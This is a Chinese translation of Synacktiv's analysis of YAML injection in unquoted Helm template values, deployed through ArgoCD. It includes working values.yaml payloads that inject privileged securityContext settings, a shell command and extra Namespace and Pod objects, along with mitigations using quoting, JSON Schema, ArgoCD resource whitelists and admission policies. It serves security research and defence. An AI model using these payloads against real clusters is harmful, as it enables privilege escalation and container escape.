文章总结: 本文翻译自Synacktiv的文章,深入探讨了Helm模板中的YAML注入漏洞。文章指出,当Helm模板中的变量未通过.Values进行转义或验证时,攻击者可通过多行值注入恶意内容,从而在Kubernetes集群中实现任意资源部署或权限提升。文章详细介绍了利用方法,包括使用|和|-序列绕过换行符限制,并强调了CI/CD设置(如ArgoCD)如何加剧此类风险。最后,文章提供了防御建议,如使用quote函数和严格验证values输入。 综合评分: 88 文章分类: 漏洞分析,红队,内网渗透,安全建设,安全工具
Helm模板YAML注入:从CI/CD到集群沦陷
Dubito Dubito
云原生安全指北
2026年7月2日 08:35 江苏
在小说阅读器读本章
去阅读
注:本文翻译自 Synacktiv 的文章《Charting your way in: Helm template injection》[1],可点击文末“阅读原文”按钮查看英文原文。
在对一个Kubernetes集群进行审计时,我们遇到了一起通过ArgoCD应用的Helm模板中的注入漏洞。令人惊讶的是,关于易受攻击的Helm模板中YAML注入的现有资源非常少。在这篇博文中,我们将探讨此类漏洞以及如何防止其被利用。
一、引言
1.1 Helm
Helm是一个广泛使用的项目,用于管理和部署Kubernetes集群中的资源。通过使用可自定义的模板,它能渲染出YAML配置(manifest)文件并将其应用到集群。此外,借助标签,它支持版本控制、冲突解决等部署管理功能。
这帮助集群管理员为应用部署所有必要的资源,并管理依赖关系。
Helm模板是YAML文件,其模板语法类似于Jinja模板(实际上使用的是Golang[2]模板[3])。用户定义的参数称为values,通常存储在名为values.yaml的文件中,允许通过自定义输入渲染Kubernetes清单。
要创建带有模板和values的Helm Chart,我们可以使用Helm CLI。以下是示例:
$ helm create myapp
$ cat << EOF > myapp/values.yaml
replicaCount: 3
image:
repository: myregistry/myapp
tag: "1.0.0"
EOF
$ rm -r myapp/templates/*
$ cat << EOF > myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: {{ .Values.replicaCount }}
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
ports:
- containerPort: 80
EOF
该模板创建一个名为myapp的Deployment,其中:
- • Pod的数量(
spec.replicas)由{{ .Values.replicaCount }}动态设置 - •
myapp容器的容器镜像由{{ .Values.image.repository }}:{{ .Values.image.tag }}动态设置
使用我们的values模板化Helm Chart可以通过以下命令完成,该命令仅打印生成的渲染清单:
$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: 3
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: "myregistry/myapp:1.0.0"
ports:
- containerPort: 80
在此步骤中,会进行一些验证以确保Chart生成了格式正确的YAML,但并不会验证其作为Kubernetes清单在语法上是否正确,稍后我们将详细说明这一点。
然后可以使用默认的.kube/config配置将其应用到集群中:
$ helm install myapp ./myapp
NAME: myapp
LAST DEPLOYED: Fri Oct 17 14:50:17 2025
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
1.2 CI/CD 设置
Helm在Kubernetes社区中如此流行的主要原因之一,是它易于共享Helm Charts来部署复杂应用,同时让终端管理员仅需配置他们需要的values。Helm Charts的纯文本格式使其易于存储在版本控制中,并在Kubernetes中作为基础设施即代码(infrastructure-as-code,IaC)使用。
我们经常看到Helm Charts存储在Git仓库中,CI配置确保任何对它们或其values.yaml文件的更改几乎实时地应用到集群。
为了实现这一点,ArgoCD[4] 已成为首选解决方案之一。它允许定义CI流水线,同时监控代码仓库的状态和集群中的资源。
一种常见模式是使用ArgoCD的Application CRD[5]直接从Git仓库应用Helm Chart。
以下示例展示了如何使用位于GitHub仓库charts/myapp/目录下的Helm Chart来实现这一点:
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
name: myapp
namespace: argocd
spec:
project: default
source:
repoURL: https://github.com/synacktiv/example-helm-deployments.git
targetRevision: main
path: charts/myapp
helm:
valueFiles:
- values/production.yaml
destination:
server: https://kubernetes.default.svc
namespace: myapp
syncPolicy:
automated:
prune: true
selfHeal: true
syncOptions:
- CreateNamespace=true
虽然方便,但这可能导致简单的容器逃逸或权限提升,因为任何对仓库有推送权限的人都能部署任意资源或工作负载。
作为解决方案,相关的管理员通常只允许项目开发者控制那些预先批准和预先配置好的Chart的values。这样,确保只会部署包含有限可配置字段的、安全的、预先批准的资源。这可以通过多源项目[6] 来实现。
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
name: myapp
namespace: argocd
spec:
project: default
sources:
- repoURL: 'https://synacktiv-exemple-repo/helm-charts'
chart: my-apps
targetRevision: 1.0
helm:
valueFiles:
- $values/charts/prometheus/values.yaml
- repoURL: 'https://github.com/synacktiv/example-helm-deployments.git'
targetRevision: main
ref: values
destination:
server: https://kubernetes.default.svc
namespace: myapp
syncPolicy:
automated:
prune: true
selfHeal: true
实际上,如果我们使用之前的模板,这种配置是可注入的。
二、注入漏洞
2.1 Helm v3
注入的可能性在于变量使用时没有通过.Values进行任何转义或验证。
虽然这似乎是一个已知风险,但我们没有找到深入解释为什么这是一个问题以及如何利用它的资源。此外,Helm文档对此主题并不明确。在Helm Chart模板指南[7] 中,变量转义的话题只有在大量可注入示例之后才出现,且没有直接给出安全考虑。
以Helm文档[8] 中的这句话为例:
从最佳实践开始:当从
.Values对象向模板注入字符串时,我们应该对这些字符串进行引号包裹。
Helm仅将转义函数作为字符串的最佳实践提出。没有给出安全警告。
那么,让我们深入了解漏洞本身。我们将使用前面的例子及其values文件。
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: { { .Values.replicaCount } }
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
ports:
- containerPort: 80
此Chart中插入的所有values都是可注入的。诀窍在于使用以|开头的多行values,例如:
replicaCount: |
3
injectedAttribute: True
image:
repository: myregistry/myapp
tag: "1.0.0"
模板化这些values将会在生成的清单中注入injectedAttribute: True参数:
$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: 3
injectedAttribute: True
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: "myregistry/myapp:1.0.0"
ports:
- containerPort: 80
然而,我们可以注意到注入内容末尾添加了一个换行符\n。这在尝试注入到字符串中时会使情况变得棘手。以下面的values为例,注入发生在tag变量中:我们必须考虑缩进级别和上下文,以便正确地闭合和恢复它,这里通过使用"来实现。
# values.yaml
replicaCount: 3
image:
repository: myregistry/myapp
tag: |
1.0.0"
command:
- "echo injected
即使有换行符,生成的YAML在语法上也是正确的。
$ helm template ./myapp --debug
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: 3
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: "myregistry/myapp: 1.0.0"
command:
- "echo injected
"
ports:
- containerPort: 80
$ helm install myapp ./ --values=values.yaml
LAST DEPLOYED: Fri Oct 17 22:03:29 2025
NAMESPACE: default
NAME: myapp
STATUS: deployed
REVISION: 1
TEST SUITE: None
换行符最终被转换为一个空格,这可以通过检查集群内的资源来验证。
$ kubectl get deployment -o yaml myapp
apiVersion: apps/v1
kind: Deployment
metadata:
[...]
spec:
progressDeadlineSeconds: 600
replicas: 3
[...]
template:
metadata:
[...]
spec:
containers:
- command:
- 'echo injected ' # \n 被转换为一个空格
image: 'myregistry/myapp: 1.0.0'
imagePullPolicy: IfNotPresent
这种行为可能会根据目标上下文限制利用。要绕过这一点,可以使用|-序列来创建没有最终换行的多行值。
# values.yaml
replicaCount: 3
image:
repository: myregistry/myapp
tag: |-
1.0.0"
securityContext:
privileged: true
command: [ "/bin/sh", "-c" ]
args:
- "curl 1.1.1.1
注意缩进很重要。
$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: 3
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: "myregistry/myapp:1.0.0"
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- "curl 1.1.1.1"
ports:
- containerPort: 80
我们能够向现有对象规范中添加属性,从而允许执行任意命令或更改Pod的安全上下文,以便轻松实现容器逃逸。在许多情况下,这已经足够了,但我们还能创建任意对象。
在YAML中,可以通过使用---作为分隔符在同一个清单中定义多个对象。我们完全可以利用这一点来定义各种新的对象。例如,下面的values.yaml将注入一个Namespace定义以及这个新命名空间中的一个nginx Pod。
# values.yaml
replicaCount: 3
image:
repository: myregistry/myapp
tag: |-
1.0.0"
---
apiVersion: v1
kind: Namespace
metadata:
name: injection
labels:
name: injection
---
apiVersion: v1
kind: Pod
metadata:
name: nginx-pod
namespace: injection
labels:
app: nginx
spec:
containers:
- name: nginx-container
image: nginx:latest
ports:
- containerPort: 80
other:
attribute:
to:
fix:
context: "a
添加了other.attribute.to.fix.context: "a部分以生成有效的YAML。即使这些属性不会被识别为有效,直接尝试安装Chart也会成功,并且命名空间和Pod将在集群中创建。
$ helm install myapp ./myapp --debug
client.go:142: 2025-10-17 22:13:18.134663858 +0200 CEST m=+0.101315381 [debug] creating 3 resource(s)
W1017 22:13:18.143600 4407 warnings.go:70] unknown field "spec.other"
NAME: myapp
LAST DEPLOYED: Fri Oct 17 22:13:18 2025
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
USER-SUPPLIED VALUES:
{}
COMPUTED VALUES:
image:
repository: myregistry/myapp
tag: |-
1.0.0"
---
apiVersion: v1
kind: Namespace
metadata:
name: injection
labels:
name: injection
---
apiVersion: v1
kind: Pod
metadata:
name: nginx-pod
namespace: injection # 指定命名空间
labels:
app: nginx
spec:
containers:
- name: nginx-container
image: nginx:latest # 使用最新的官方Nginx镜像
ports:
- containerPort: 80
other:
attribute:
to:
fix:
context: "a
replicaCount: 3
HOOKS:
MANIFEST:
---
# Source: myapp/templates/deployment.yaml
apiVersion: v1
kind: Namespace
metadata:
name: injection
labels:
name: injection
---
# Source: myapp/templates/deployment.yaml
apiVersion: v1
kind: Pod
metadata:
name: nginx-pod
namespace: injection # 指定命名空间
labels:
app: nginx
spec:
containers:
- name: nginx-container
image: nginx:latest # 使用最新的官方Nginx镜像
ports:
- containerPort: 80
other:
attribute:
to:
fix:
context: "a"
ports:
- containerPort: 80
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: 3
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: "myregistry/myapp:1.0.0"
我们可以使用kubectl命令进行验证:
$ kubectl get ns injection
NAME STATUS AGE
injection Active 25s
$ kubectl get pod -n injection
NAME READY STATUS RESTARTS AGE
nginx-pod 0/1 Pending 0 25s
这种能力很可能会导致集群被攻破。根据配置,我们可以创建Role或ClusterRole及其对应的Bindings,或者像前面的例子一样,在一个新的Namespace中部署一个特权Pod以绕过现有的Pod Security Admission配置。
2.2 Helm v4
2025年11月发布的Helm版本4引入了针对此类注入的变更。在此版本中,Server-Side Apply机制默认启用,从而将验证任务委托给Kubernetes API Server。因此,虽然Helm 3中不存在的属性会被忽略,但默认情况下,无效资源将不再被部署。
replicaCount: |
3
injectedAttribute: True
image:
repository: myregistry/myapp
tag: "1.0.0"
$ helm install myapp ./ --values=values.1.yaml --debug
[...]
level=DEBUG msg="using server-side apply for resource creation" forceConflicts=false dryRun=false fieldValidationDirective=Strict
[...]
Error: INSTALLATION FAILED: server-side apply failed for object default/myapp apps/v1, Kind=Deployment: failed to create typed patch object (default/myapp; apps/v1, Kind=Deployment): .spec.injectedAttribute: field not declared in schema
在Helm 4下执行相同的利用向量,要么只使用现有属性,要么附加一个额外的资源来吸收剩余的上下文(该资源随后会被拒绝)。将这一点应用于之前的命名空间注入场景,引入了第二个pod资源。
# values.yaml
replicaCount: 3
image:
repository: myregistry/myapp
tag: |-
1.0.0"
---
apiVersion: v1
kind: Namespace
metadata:
name: injection
labels:
name: injection
---
apiVersion: v1
kind: Pod
metadata:
name: nginx-pod
namespace: injection
labels:
app: nginx
spec:
containers:
- name: nginx-container
image: nginx:latest
ports:
- containerPort: 80
---
apiVersion: v1 # 用于吸收上下文
kind: Pod
metadata:
name: not-deployed
labels:
app: nginx
spec:
other:
attribute:
to:
fix:
context: "a
$ helm4 install myapp myapp --values=values.yaml --debug
level=DEBUG msg="Created resource via patch" namespace="" name=injection gvk="/v1, Kind=Namespace"
level=DEBUG msg="Error creating resource via patch" namespace=default name=not-deployed gvk="/v1, Kind=Pod" error="server-side apply failed for object default/not-deployed /v1, Kind=Pod: failed to create typed patch object (default/not-deployed; /v1, Kind=Pod): .spec.other: field not declared in schema"
level=DEBUG msg="Created resource via patch" namespace=injection name=nginx-pod gvk="/v1, Kind=Pod"
level=DEBUG msg="Created resource via patch" namespace=default name=myapp gvk="apps/v1, Kind=Deployment"
命名空间和nginx pod 成功创建,而not-deployed pod 被拒绝。
三、如何预防
3.1 在Helm中
像往常一样,转义用户输入是一个解决方式。Helm模板引擎提供了多种函数来处理注入的values。
正如Helm文档所建议的,始终对字符串values使用quote。对于字符串拼接,在引用结果之前使用printf函数:
image:
{ { printf "%s:%s" .Values.image.repository .Values.image.tag | quote } }
对于整数或十进制值,应分别使用int或float64函数进行转义。请注意,如果该值不是int(或相应情况下的float),则默认值为0。
replicas: { { .Values.replicaCount | int } }
对于任何其他情况,或执行额外检查,可以在模板开头以防故障方式使用regexMatch函数:
# 检查 image.tag
{{- if not (regexMatch "^(latest|1.1|dev)$" .Value.image.tag) }}
{{- fail "value image.tag does not respect the excepted format" }}
{{- end }}
更进一步,你可以利用JSON Schema文件[9]来验证[10]values.yaml中提供的数据结构和类型。
例如,让我们以之前的values.yaml为例,转换为JSON:
{
"replicaCount": 3,
"image": {
"repository": "myregistry/myapp",
"tag": "1.0.0"
}
}
相应的JSON Schema将是:
{
"$schema": "http://json-schema.org/schema",
"type": "object",
"properties": {
"replicaCount": {
"type": "number"
},
"image": {
"type": "object",
"properties": {
"repository": {
"type": "string",
"pattern": "^[a-z0-9-_/:]+$"
},
"tag": {
"type": "string",
"pattern": "^(latest|1.1|dev)$"
}
},
"required": ["repository", "tag"]
}
},
"required": ["replicaCount", "image"]
}
它应存储在values.schema.json中,并将用于以下命令:
- • helm template
- • helm install
- • helm upgrade
- • helm lint
尝试在此情况下进行注入将导致错误:
$ helm template ./myapp --debug
Error: values don't meet the specifications of the schema(s) in the following chart(s):
myapp:
- at '/replicaCount': got string, want number
- at '/image/tag': '1.0.0"\n---\napiVersion: [...]' does not match pattern '^(latest|1.1|dev)
3.2 在ArgoCD中
ArgoCD部署的资源可以且应该被限制,以限制成功注入攻击的范围。这应该使用AppProject资源中的clusterResourceWhitelist字段来实现[11]。
AppProject定义了应用的逻辑组,包括源仓库、目标集群和允许的资源。通过仅允许项目所需的资源,可以防止创建敏感的、可能是集群范围的资源。例如,仅限制对象创建为Deployment:
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
name: default
namespace: argocd
spec:
# ... 其他项目规范 ...
clusterResourceWhitelist:
- group: apps
kind: Deployment
这可以防止部署像之前演示的注入的Namespace或Pod之类的任意资源,因为它们超出了允许的资源列表。
要更进一步限制你的ArgoCD实例,可以考虑使用命名空间级权限进行安装。标准的ArgoCD安装需要ClusterRole和ClusterRoleBinding权限来管理整个集群的资源,这通常授予集群管理员权限。然而,也可以配置它仅使用Role和RoleBinding权限在单个或多个命名空间内运行。
这样一来,ArgoCD 的功能就被限制住了。如果攻击者攻陷了ArgoCD或其管理的应用(通过注入),损害将被限制在特定命名空间和任何允许的白名单资源内,从而显著限制潜在的集群范围权限提升。
3.3 在Kubernetes中使用Validating Admission Policy
更进一步,Kubernetes中的Validating Admission Policies可以在资源通过ArgoCD之后、部署到集群之前实施精细控制。
Validating Admission Policies使用通用表达式语言来定义规则,资源在创建、更新或删除时必须满足这些规则。
例如,你可以使用VAP在目标应用命名空间内严格执行no-privileged-pods规则,直接对抗securityContext的注入。首先,使用ValidatingAdmissionPolicy检查特权容器:
apiVersion: admissionregistration.k8s.io/v1alpha1
kind: ValidatingAdmissionPolicy
metadata:
name: no-privileged-pods
spec:
failurePolicy: Fail
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE", "UPDATE"]
resources: ["pods"]
validations:
- expression: |
!has(object.spec.containers) || object.spec.containers.all(c,
!has(c.securityContext.privileged) || c.securityContext.privileged == false)
message: "Privileged containers are not allowed."
接下来,应使用ValidatingAdmissionPolicyBinding将其链接到myapp命名空间:
apiVersion: admissionregistration.k8s.io/v1alpha1
kind: ValidatingAdmissionPolicyBinding
metadata:
name: no-privileged-pods-binding
spec:
policyName: no-privileged-pods
matchResources:
namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: myapp # 目标命名空间 myapp
有了这个配置,任何尝试部署带有securityContext.privileged: true的Pod,无论是有意的还是通过Helm值注入,都将被Kubernetes API服务器本身阻止。
四、结论
CI/CD流水线本质上是高权限系统。它们持有凭据、部署工作负载,并且通常直接与生产集群通信,同时,比起旧式的系统管理员界面,它们更容易被更广泛的受众(开发人员、运维人员和自动化流程)访问。这种组合使它们成为攻击者的绝佳目标:攻陷流水线,基本上就掌握了通往王国的钥匙。
这个例子展示了单个疏忽(忘记在Helm模板中转义一个值)如何级联成环境的完全陷落。一个小的配置错误可能为任意代码执行或权限提升打开大门。此类问题很微妙,在代码审查中容易漏掉,但却可能完全破坏预期的安全边界。
保持这些流水线的安全需要付出巨大努力。从模板引擎和部署工具到编排层和验证策略,每个元素都引入其自身的风险。实施适当的缓解措施很少是直截了当的。这些控制措施通常需要深入了解每个组件如何交互,仔细测试以避免破坏自动化,并在工具演进时进行持续维护。在实践中,要做好这些工作既复杂又耗时。
应对这些挑战不能仅仅依靠用户和操作人员。构成CI/CD生态系统的项目和工具应主动帮助用户安全地部署它们。这意味着提供清晰的文档、安全的默认值,以及关于配置选项影响的明确指导。安全考虑应整合到正常的使用路径中,而不是作为可选的“最佳实践”而存在。
引用链接
[1] 《Charting your way in: Helm template injection》: https://www.synacktiv.com/en/publications/charting-your-way-in-helm-template-injection.html
[2] Golang: https://pkg.go.dev/text/template
[3] 模板: https://helm.sh/docs/chart_template_guide/
[4] ArgoCD: https://argo-cd.readthedocs.io/en/stable/
[5] Application CRD: https://argo-cd.readthedocs.io/en/stable/user-guide/helm/
[6] 多源项目: https://argo-cd.readthedocs.io/en/latest/user-guide/multiple_sources
[7] Helm Chart模板指南: https://helm.sh/docs/chart_template_guide/getting_started/
[8] Helm文档: https://helm.sh/docs/chart_template_guide/functions_and_pipelines/
[9] JSON Schema文件: https://helm.sh/docs/topics/charts#schema-files
[10] 验证: https://www.arthurkoziel.com/validate-helm-chart-values-with-json-schemas/
[11] 实现: https://argo-cd.readthedocs.io/en/latest/user-guide/projects/
交流群
知识库
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:云原生安全指北 Dubito Dubito《Helm模板YAML注入:从CI/CD到集群沦陷》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论